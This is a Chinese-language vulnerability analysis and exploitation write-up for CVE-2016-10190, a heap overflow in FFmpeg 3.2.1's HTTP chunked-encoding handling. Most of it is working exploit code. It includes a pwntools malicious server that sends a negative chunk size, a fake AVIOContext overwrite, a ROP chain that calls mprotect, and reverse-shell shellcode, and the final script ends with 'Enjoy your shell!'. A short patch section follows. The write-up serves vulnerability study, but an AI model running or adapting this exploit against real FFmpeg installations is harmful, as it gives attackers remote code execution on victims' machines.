CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析

0x01 漏洞分析

簡單來說,是因爲變量在傳遞過程中的類型不一致,導致了傳入的負數被轉化爲極大數,最終導致了堆溢出漏洞。

在溢出的buffer的高地址處,剛好有可利用的對象,其中的函數指針可以被覆蓋。如此,就可以在後續調用這個函數指針的時候成功劫持程序的控制流。

1.1 正常情況下的程序功能

ffmpeg的-i選項可以從指定的輸入流獲取視頻,並保存爲AVI格式。下面是一個正常使用的例子。

ffmpeg -i 示例.png

1.2 HTTP分塊編碼

HTTP Header中的Content-Length字段用於告訴Client,響應實體的長度。Content-Length必須和實體實際長度一致,通常如果Content-Length比實際長度短,會造成內容被截斷;如果比實體內容長,會造成pending。

但是在獲取網絡文件等情景下,實體長度不是那麼容易獲得。爲了不依靠Header中的長度信息,也能讓Client知道實體的邊界,Transfer-Encoding就是爲了解決這個問題的。最新的HTTP規範只定義了一種傳輸編碼:分塊編碼(chunked)。編碼使用若干個Chunk組成,由一個標明長度爲0的chunk結束,每個Chunk有兩部分組成,第一部分是該Chunk的長度,第二部分就是指定長度的內容,每個部分用CRLF隔開。

使用分塊編碼的response如下所示:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n

1.3 chunksize漂流記

漏洞就發生在ffmpeg處理HTTP分塊編碼response的過程中。

上一小節中說到,每個Chunk的第一部分是該Chunk的長度,代碼中使用chunksize表示。然後看一下chunksize在程序運行中經歷的傳遞和類型轉換。

size類型轉換

可以發現當傳給recv函數時,chunksize最終被轉換成了size_t類型。

順便關注一下64位架構中的幾種整數類型。

類型 位數 範圍
long long 64 bit -2^63 ~ 2^63 -1
int64_t 64 bit -2^63 ~ 2^63 -1
int 32 bit -2^31 ~ 2^31 - 1
size_t 64 bit 0 ~ 2^64 -1

由於size_t是無符號整數,那麼傳入一個負數-1將會被轉換爲2^64 - 1,這將遠大於buffrer的最大長度0x8000。此時如果傳遞長度大於0x8000的內容,將形成溢出。

0x02 利用思路

2.1 搭建環境

  1. 安裝pwntools等工具

    $ sudo apt-get update
    $ sudo apt-get upgrade -y
    $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev
    build-essential
    $ sudo pip install --upgrade pip
    $ sudo pip install --upgrade pwntools
    $ sudo pip install --upgrade ropper
  2. 使用下面的命令搭建環境:

    安裝依賴:

    sudo apt-get update
    sudo apt-get -y install autoconf automake build-essential libass-dev \
        libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \
        libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \
        texinfo wget zlib1g-dev yasm

    編譯安裝FFmpeg 3.2.1

    $ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
    $ tar xvfz n3.2.1.tar.gz
    $ mkdir ~/ffmpeg_build
    $ mkdir ~/ffmpeg_bin
    $ cd FFmpeg-n3.2.1/
    $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
      --disable-stripping
    $ make -j4
    $ sudo make install

2.2 檢查程序保護

可以看到PIE(ASLR)是關閉的,這樣的話在利用過程中就會簡單很多。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

2.3 劫持程序控制流

buffer剛好分配在一個AVIOContext對象的前面,並且AVIOContext對象中包含有函數指針readpacket。該對象的指針在avio_read函數中被使用,而avio_read函數將會在後續被調用——所以控制了read_packet就可以劫持程序控制流。

2.3.1 計算buffer和目標對象之間的距離

首先記錄了AVIOContext對象的地址爲0x1deebe0

AVIOContext地址

AVIOContext地址之readpacket

然後查看buff的地址爲0x1de6b80

buf地址

相差了0x1deebe0 - 0x1de6b80 = 0x8060

2.3.2 驗證填充

使用下面的代碼引發crash,

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

def main():
    # Start a listener and wait for a connection from ffmpeg

    while True:
        p = listen(12345)
        p.wait_for_connection()
        log.success("Victim found!")

        # Initialise the ffmpeg instance and prepare it for the bug
        p.send(headers)
        time.sleep(2)

        # Trigger the bug with the overly large read
        p.sendline("-1")
        log.info("Bug triggered. Please wait for five seconds...")
        time.sleep(2)   # The sleep allows for a clean transmission boundary

        payload  = "A" * 0x8060

        # Send the entire payload
        log.info("Payload sent!")
        p.send(payload)

        # Close the socket to terminate the read on the ffmpeg end to process the
        # overwrite
        p.close()


if __name__ == '__main__':
    main()

使用上面的代碼進行溢出後,查看AVIOContext對象,可以看到readpacket字段已經被覆蓋。

crash溢出後

gdb-peda$ p *(AVIOContext *)(0x1de6b80+0x8060)
$3 = {
  av_class = 0x4141414141414141, 
  buffer = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  buffer_size = 0x41414141, 
  buf_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  buf_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  opaque = 0x4141414141414141, 
  read_packet = 0x41414141414141, 
  write_packet = 0x5c4040 <io_write_packet>, 
  seek = 0x5c4030 <io_seek>, 
  pos = 0x0, 
  must_flush = 0x0, 
  eof_reached = 0x0, 
  write_flag = 0x0, 
  max_packet_size = 0x0, 
  checksum = 0x0, 
  checksum_ptr = 0x0, 
  ......
}

2.3.3 構造ROP劫持程序控制流

  1. 使用ropper工具尋找合適的gadgets
    pop rsi; ret爲例:

    shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ ropper --file ffmpeg --search "pop rsi; ret"
    [INFO] Load gadgets from cache
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    [INFO] Searching for gadgets: pop rsi; ret
    
    [INFO] File: ffmpeg
    0x000000000003ca24: pop rsi; ret 0x15e8; 
    0x0000000000bd55b2: pop rsi; ret 0x17e8; 
    0x0000000000244cbb: pop rsi; ret 0x1ee8; 
    0x00000000008ff888: pop rsi; ret 0x280f; 
    ......
    0x0000000000008b2c: pop rsi; ret; 
  2. 放置好的gadgets如下面代碼所示

    其中(1)~(5)標記了gadgets的執行順序。

    
    #!/usr/bin/python
    
    
    from pwn import *
    import time
    import socket
    
    
    # HTTP Headers
    
    
    headers = """HTTP/1.1 200 OK
    Server: PwnServ/v1.0
    Date: Sun, 11 Mar 1994 13:37:00 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    
    """
    
    
    # ROP Gadgets
    
    
    pop_rsp = 0x00000000004077e9     # pop rsp; ret;
    stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
    
    
    def main():
        # Start a listener and wait for a connection from ffmpeg
        while True:
            p = listen(12345)
    
            # Wait for connection before sending payload
            log.info("Waiting for the victim...")
            p.wait_for_connection()
            log.success("Victim found!")
    
            # Initialise the ffmpeg instance and prepare it for the bug
            p.send(headers)
            time.sleep(2)
    
            # Trigger the bug with the overly large read
            p.sendline("-1")
            log.info("Bug triggered. Please wait for five seconds...")
            time.sleep(4)   # The sleep allows for a clean transmission boundary
    
            payload  = "A" * 0x8060     # Padding to start of AVIOContext struct
    
            # Setup the fake AVIOContext struct for the pivot into attacker controlled
            # memory
    
            payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem    (3)
            payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
            payload += p64(pop_rsp)     # [opaque] Value in RDI at (1).                 (2)
    
            payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control        (1)
    
            payload += ("X"*8) * 3      # [write_packet, seek, pos]
            payload += "AAAA"           # [must_flush]
            payload += p32(0)           # [eof_reached] Must be zero or read terminates
            payload += "A" * 8          # [write_flag, max_packet_size]
            payload += p64(stack_pivot) # [checksum] One more stack pivot               (4)
            payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP
    
            # ROP chain starts here
            payload += p64(0xdeadbeef)  # ROP Chain                                     (5)
            payload += p64(0xcafebabe)
            payload += p64(0xba5eba11)
    
            # Send the entire payload
            log.info("Payload sent!")
            p.send(payload)
            time.sleep(2)
    
        # Close the socket to terminate the read on the ffmpeg end to process the
        # shellcode
        p.close()
    
    
    if __name__ == '__main__':
        main()
  3. 運行代碼,在crash現場可以看到,程序的RIP已經被控制。

    ropchain控制rip

    劫持程序控制流之後,就是在內存中放置shellcode並執行。

2.4 改變堆內存屬性

  1. 尋找合適的內存地址
    首先查看適合放置 shellcode的位置:

    gdb-peda$ vmmap
    Start              End                Perm  Name
    0x00400000         0x01446000         r-xp  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x01645000         0x01646000         r--p  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x01646000         0x0168d000         rw-p  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x0168d000         0x01e05000         rw-p  [heap]
    0x00007ffff0355000 0x00007ffff037f000 r-xp  /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8
    ......
    0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
    0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
    0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

    選擇可寫的內存段0x01646000用來寫入shellcode。

    接下來要將這個內存段的屬性改寫成可執行。

  2. 使用mprotect()改變內存屬性

    mprotect原型

    
    #include <sys/mmap.h>  
    
    int mprotect(const void *start, size_t len, int prot); 

    mprotect()函數把自start開始的、長度爲len的內存區的保護屬性修改爲prot指定的值。

    prot可以理解爲讀寫執行的標誌位。各個位之間可以使用|進行連接。(權限標誌位通常使用運算)

    
    #define PROT_READ     0x1     /* Page can be read.  */
    
    
    #define PROT_WRITE    0x2     /* Page can be written.  */
    
    
    #define PROT_EXEC     0x4     /* Page can be executed.  */
    

    在ffmpeg中尋找可用的memprotect()

    shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ objdump -d ffmpeg | grep mprotect00000000004071f0 <mprotect@plt>:
      4749b3:   e8 38 28 f9 ff          callq  4071f0 <mprotect@plt>
      4749d3:   e8 18 28 f9 ff          callq  4071f0 <mprotect@plt>
  3. ROP chain思路

    上述的payload可以控制rip運行到deadbeef的部分。現在把deadbeef和後面的payload替換爲真正可用的payload:

    1. 改寫目標內存的屬性
      mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    2. 將shellcode拷貝到目標內存地址
    3. 跳轉到shellcode
    
    # ROP Gadgets
    
    
    pop_rsp = 0x00000000004077e9     # pop rsp; ret;
    stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
    
    mprotect_segment = 0x01646000
    mprotect_size = 0x500
    mprotect_prot = 0x1 | 0x2 | 0x4
    
    pop_rdi = 0x0000000000407c39
    pop_rsi = 0x0000000000408b2c
    pop_rdx = 0x0000000000408859
    
    write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
    
    mprotect_plt = 0x4071f0
    
    
    def generate_mov(address_base, data):
        """Move data into memory startng at the given address_base with a write
        gadget."""
    
        def chunks(l, n):
            """Yield successive n-sized chunks from l."""
            for i in range(0, len(l), n):
                yield l[i:i + n]
    
        ropchain = ""
        for counter, i in enumerate(chunks(data, 8)):
            ropchain += p64(pop_rsi)       # Pop the target address into RSI
            ropchain += p64(address_base + (counter * 8)) # Calculate the target
            ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
            ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
            ropchain += p64(write_gadget)  # Trigger the write
    
        return ropchain
    
    
    def main():
        ......
        # The main ROP chain
        # This will do the following things:
        #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
        #  2. copy shellcode into shellcode_segment
        #  3. jump to shellcode
    
        # Setup mprotect ROP chain
        payload += p64(pop_rdi)          # Pop the first argument into RDI
        payload += p64(mprotect_segment)
        payload += p64(pop_rsi)          # Pop the second argument into RSI
        payload += p64(mprotect_size)
        payload += p64(pop_rdx)          # Pop the third argument into RDX
        payload += p64(mprotect_prot)
        payload += p64(mprotect_plt)     # Run the mprotect function
    
        # Write the shellcode into our newly mprotected segment
        payload += generate_mov(mprotect_segment, shellcode)
    
        # Jump to shellcode
        payload += p64(mprotect_segment)
        ......
    
    if __name__ == '__main__':
        main()

2.5 選擇shellcode

  1. 選用下面的shellcode生成反向shell

    
    #include <stdio.h>
    
    
    
    #define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */
    
    
    #define PORT "\x05\x39" /* 1337 */
    
    
    unsigned char code[] = \
    "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
    "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
    "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
    "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
    "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
    "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
    "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
    "\x5f\x6a\x3b\x58\x0f\x05";
    
    int
    main(void)
    {
        printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
        int (*ret)() = (int(*)())code;
        ret();
        return 0;
    }
  2. 改寫成Python版本

    
    # Reverse Shell TCP Shellcode adapted from Russell Willis
    
    
    ip_addr = "127.1.1.1"
    ip_addr_packed = socket.inet_aton(ip_addr)
    port = 1337
    port_packed = p16(port, endian="big")
    shellcode = (
            "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
            "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
            "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
            "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
            "\x48\x89\xe6\x6a\x10" +
            "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
            "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
            "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
            "\x5f\x6a\x3b\x58\x0f\x05")

0x03 完整Exploit及驗證

3.1 最終版Exploit

```py
#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

# Reverse Shell TCP Shellcode adapted from Russell Willis

ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
        "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
        "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
        "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
        "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
        "\x48\x89\xe6\x6a\x10" +
        "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
        "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
        "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
        "\x5f\x6a\x3b\x58\x0f\x05")

# ROP Gadgets

pop_rsp = 0x00000000004077e9     # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;

mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4

pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859

write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;

mprotect_plt = 0x4071f0


def generate_mov(address_base, data):
    """Move data into memory startng at the given address_base with a write
    gadget."""

    def chunks(l, n):
        """Yield successive n-sized chunks from l."""
        for i in range(0, len(l), n):
            yield l[i:i + n]

    ropchain = ""
    for counter, i in enumerate(chunks(data, 8)):
        ropchain += p64(pop_rsi)       # Pop the target address into RSI
        ropchain += p64(address_base + (counter * 8)) # Calculate the target
        ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
        ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
        ropchain += p64(write_gadget)  # Trigger the write

    return ropchain


def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    # Start a second listener for the reverse shell
    rev = listen(port)

    # Wait for connection before sending payload
    log.info("Waiting for the victim...")
    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)
    time.sleep(2)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060     # Padding to start of AVIOContext struct

    # Setup the fake AVIOContext struct for the pivot into attacker controlled
    # memory

    payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
    payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
    payload += p64(pop_rsp)     # [opaque] Value in RDI at (1). (2)

    payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)

    payload += ("X"*8) * 3      # [write_packet, seek, pos]
    payload += "AAAA"           # [must_flush]
    payload += p32(0)           # [eof_reached] Must be zero or read terminates
    payload += "A" * 8          # [write_flag, max_packet_size]
    payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
    payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP

    # The main ROP chain
    # This will do the following things:
    #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    #  2. copy shellcode into shellcode_segment
    #  3. jump to shellcode

    # Setup mprotect ROP chain
    payload += p64(pop_rdi)          # Pop the first argument into RDI
    payload += p64(mprotect_segment)
    payload += p64(pop_rsi)          # Pop the second argument into RSI
    payload += p64(mprotect_size)
    payload += p64(pop_rdx)          # Pop the third argument into RDX
    payload += p64(mprotect_prot)
    payload += p64(mprotect_plt)     # Run the mprotect function

    # Write the shellcode into our newly mprotected segment
    payload += generate_mov(mprotect_segment, shellcode)

    # Jump to shellcode
    payload += p64(mprotect_segment)

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # shellcode
    p.close()

    # Wait for reverse shell
    log.info("Please wait for your reverse shell.")
    rev.wait_for_connection()
    log.success("Success! Enjoy your shell!")
    rev.interactive()


if __name__ == '__main__':
    main()
```

0x04 驗證

完整利用

0x05 Patch思路

5.1 針對此漏洞點的Patch思路

檢查chunksize的值,如果爲負數就中止程序。

if (s->chunksize >= 0) {
    if (!s->chunksize) {
        char line[32];

            do {
                if ((err = http_get_line(s, line, sizeof(line))) < 0)
                    return err;
            } while (!*line);    /* skip CR LF from last chunk */

            s->chunksize = strtoll(line, NULL, 16);


            if (!s->chunksize)
                return 0;
    }

    if (s->chunksize > 0) {
            size = FFMIN(size, s->chunksize);
    }
}

5.2 官方的Patch思路

官方commit 2a05c8f813de6f2278827734bf8102291e7484aa將所有的長度和偏移變量類型,都修改成了無符號類型,從而避免類型混淆的問題。

0x06 參考

  1. TSRC bird:CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析及利用
  2. 棧長@螞蟻金服巴斯光年安全實驗室:CVE-2016-10190 FFmpeg Http協議 heap buffer overflow漏洞分析及利用
  3. Nandy Narwhals CTF Team:CVE-2016-10190 Detailed Writeup
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章